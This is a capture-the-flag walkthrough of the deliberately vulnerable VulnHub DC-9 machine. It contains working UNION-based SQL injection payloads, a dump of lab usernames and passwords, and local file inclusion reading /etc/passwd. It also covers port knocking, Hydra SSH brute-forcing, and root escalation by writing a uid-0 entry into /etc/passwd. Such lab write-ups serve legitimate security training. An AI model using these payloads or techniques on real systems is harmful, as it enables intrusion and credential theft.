Prerequisite
Just to make life easier I usually add an entry in my hosts file for easier access of the target machine.
echo "192.168.72.131 dc9.hub" >> /etc/hosts
hosts file entry
Okay now onto the hacking!
Reconnaissance
As always, I started off with an NMAP scan against the machine.
nmap -Pn -sC -sV -oN initial dc9.hub
┌──(root💀nee)-[~/boxes/vulnhub/dc9]
└─# nmap -Pn -sV -sC -oN initial dc9.hub
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-24 01:35 EST
Nmap scan report for dc9.hub (192.168.72.131)
Host is up (0.000094s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:2F:5A:5F (VMware)
Scanning & Enumeration
Based on the scan that was run, I realized that port 80 was running a web server. This was the web app that was being served!
I realized that there was a display all records and a search page which utilized some sort of database.
I went ahead tried to sql inject into the site's backend DB using the search field.
Exploitation (Method 1)
The first step I took was to check if the search parameter was vulnerable by entering ' OR '1'='1'# as the query.
The site printed out all the entries in the database which confirmed that this field was vulnerable. The next order of business was to check how many columns returned by the backend on each query (Blind Injection) so that I would be able to execute a Union Select query to dump the database. For this, I entered the following as the search term and gradually increased the number.
' OR '1'='1' ORDER BY 1#
' OR '1'='1' ORDER BY 2#
' OR '1'='1' ORDER BY 3#
' OR '1'='1' ORDER BY 4#
' OR '1'='1' ORDER BY 5#
' OR '1'='1' ORDER BY 6#
When I tried ' OR '1'='1' ORDER BY 7# , nothing was returned. This was what confirmed that the backed was returning 6 columns to us.
Next, I proceeded to construct the union select payload which I could leverage to get data out of the DB.
nee was here' and 1=1 union select 1,2,3,4,5,6#
I knew this was working properly as I stopped getting the annoying 0 results error message.
Instead, I literally got back the numbers that I entered in the respective names. I also noticed something here. The name section printed out both values 2 and 3. I assumed that it was First and Last name from the database.
Next step was to get details regarding the backend database. I decided to abuse the SQL native functions for this. Here are a bunch of SQL functions that I could have used. The following was my payload to dumb DB details:
nee was here' and 1=1 union select database(),version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
Database: Staff
I then got all the existing table names in the DB with the following payload:
nee was here' and 1=1 union select table_name,version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
Database: Staff
Table 1: StaffDetails
Table 2: Users
I got all the column names in the table with the following payload:
nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='Users'#
nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='StaffDetails'#
Database: Staff
Table: Users
Database: Staff
Table: StaffDetails
Followed by that, I attempted to dump out all the data from these tables with the following payloads:
nee was here' and 1=1 union select userID,Username,"",Password,"","" from Users#
nee was here' and 1=1 union select id,firstname,lastname,position,phone,email from StaffDetails#
Database: Staff
Table: Users
admin:856f5de590ef37314e7c3bdf6f8a66dc
Database: Staff
Table: StaffDetails
At this point is when I realized that there might me another Schema in this database which I might not have checked. I used the following payload to do so:
nee was here' and 1=1 union select SCHEMA_NAME,version(),3,user(),5,6 from information_schema.schemata#
This revealed that there was another schema in the DB named users. I ran the following query to list the tables in that schema:
nee was here' and 1=1 union select table_name,"","","","","" from information_schema.tables where table_schema = 'users'#
Turns out that the schema only had one table. I ran the following query to list the columns in the table:
nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = 'users' and table_name ='UserDetails'#
I was only interested in the usernames and passwords. Thus, I used the following query to dump them out:
nee was here' and 1=1 union select group_concat(username,":",password),"","","","","" from users.UserDetails#
--I used the group_concat() function to dump the usernames and passwords out on the same line--
I then used this tool online to separate the values by the ,.
Raw
marym:3kfs86sfd,julied:468sfdfsd2,fredf:4sfd87sfd1,barneyr:RocksOff,tomc:TC&TheBoyz,jerrym:B8m#48sd,wilmaf:Pebbles,bettyr:BamBam01,chandlerb:UrAG0D!,joeyt:Passw0rd,rachelg:yN72#dsd,rossg:ILoveRachel,monicag:3248dsds7s,phoebeb:smellycats,scoots:YR3BVxxxw87,janitor:Ilovepeepee,janitor2:Hawaii-Five-0
Processed
marym:3kfs86sfd
julied:468sfdfsd2
fredf:4sfd87sfd1
barneyr:RocksOff
tomc:TC&TheBoyz
jerrym:B8m#48sd
wilmaf:Pebbles
bettyr:BamBam01
chandlerb:UrAG0D!
joeyt:Passw0rd
rachelg:yN72#dsd
rossg:ILoveRachel
monicag:3248dsds7s
phoebeb:smellycats
scoots:YR3BVxxxw87
janitor:Ilovepeepee
janitor2:Hawaii-Five-0
Command Dump
list all schemas in DB= nee was here' and 1=1 union select SCHEMA_NAME,version(),3,user(),5,6 from information_schema.schemata#
list current DB= nee was here' and 1=1 union select database(),version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
list tables in current DB= nee was here' and 1=1 union select table_name,version(),3,user(),5,6 from information_schema.tables where table_schema = database()#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='Users'#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='StaffDetails'#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='Users'#
dump data= nee was here' and 1=1 union select userID,Username,"",Password,"","" from Users#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = database() and table_name ='StaffDetails'#
dump data= nee was here' and 1=1 union select id,firstname,lastname,position,phone,email from StaffDetails#
list all schemas in DB= nee was here' and 1=1 union select SCHEMA_NAME,version(),3,user(),5,6 from information_schema.schemata#
table names in DB= nee was here' and 1=1 union select table_name,"","","","","" from information_schema.tables where table_schema = 'users'#
column names in table= nee was here' and 1=1 union select column_name,"","","","","" from information_schema.columns where table_schema = 'users' and table_name ='UserDetails'#
dump data= nee was here' and 1=1 union select group_concat(username,":",password),"","","","","" from users.UserDetails#
Exploitation (Method 2)
The first step I took was to intercept and save the search query request using burp suite.
I then ran sqlmap with the request I captured.
sqlmap -r search.req -dbs
dbs= list all databases in target sql server
This revealed that the search parameter was vulnerable. Sqlmap then proceeded to list databases on target by abusing the vulnerable parameter.
I then proceeded to modify the commands to dump the database in order to retrieve information.
Database: users
Table: UserDetails
Database: Staff
Table: Users
Database: Staff
Table: StaffDetails
Exploitation (Continued)
The first thing that stood out to me was the admin credentials.
admin:856f5de590ef37314e7c3bdf6f8a66dc
It looked like an MD5 hash to me. Thus, I got to cracking it~ 😈
.\hashcat.exe -m 0 -O --force
Using hashcat, I was able to crack the hash within a second which revealed the password.
admin:transorbital1
Once I was logged in as admin, I realized that there was a prompt saying File does not exist. I tried to climb the directory and read other files on the machine using the file parameter.
I was successfully able to exploit a Local File Inclusion vulnerability and read /etc/passwd. I kept this in view as there was nothing valuable I could do with this vulnerability. (YET)
There was a list of usernames and passwords which I uncovered from the initial foothold (SQL Injection). I wanted to brute force these credentials for SSH access to the machine as I knew that SSH was open from the NMAP scan.
However, I kept getting this connection refused reply when I tried to connect to the machine VIA port 22.After some poking around on the net, I found that there was this thing called port knocking
In computing, port knocking is a method used to open ports on a firewall by a set of connection attempts launched over closed ports. The port will remain closed until a user attempts to initialize TCP and UDP connections to certain ports in a particular order. Read More!
After some more digging, I realized that the ports to knock could be found in the knockd.conf file located in the /etc/ directory. This is when I utilized the LFI vulnerability.
This file revealed that ports 7469,8475 and 9842 had to be knocked in that order to open SSH and ports 9842,8475 and 7469 had to be knocked in that order to close SSH. Thus I proceeded to knock those ports. I had the option to either do it with bash & NMAP or knock itself.
Bash/NMAP
for x in 7469 8475 9842; do nmap -Pn --max-retries 0 -p $x dc9.hub; done
Knock
knock dc9.hub 7469 8475 9842
As seen above, both methods allow us to connect to the target machine via SSH. Now I was ready to bruteforce my way in with Hydra. I first created 2 files with usernames and passwords respectively from the injection attack.
hydra -L username -P password dc9.hub -T 4 ssh -I
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
These were the accounts that I uncovered from the password spraying attack.
Lateral Movement
Out of all the accounts, only the account janitor had things of interest. There was a hidden file in the home directory which had what seemed like more passwords that I could spray with hydra.
I went back to bruteforcing after I uncovered these passwords.
hydra -L username -P morepasswords dc9.hub -t 4 ssh -I
fredf:B4-Tru3-001
Looking back at the Staff Details website, I realized Fred Flintstone was also the System Administrator of the company.
Privilege Escalation
The privilege escalation on this last user was pretty straight forward. The user fredf was allowed to run a python script which seemed to read contents from a file and append it to another.
I first tried to copy my machine's public ssh key into root's authorized_keys file.
However, There was no such file in root's directory. Thus, I decided to create another entry in the /etc/passwd file similar to root's entry but changing the username and password hash. I first worked on the password hash.
openssl passwd -1 -salt
fredf@dc-9:~$ echo 'nee:$1$nee$Y.k72LnpATMZLyNUSzukV.:0:0:root:/root:/bin/bash' > nee4root
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test nee4root /etc/passwd
ROOTY!
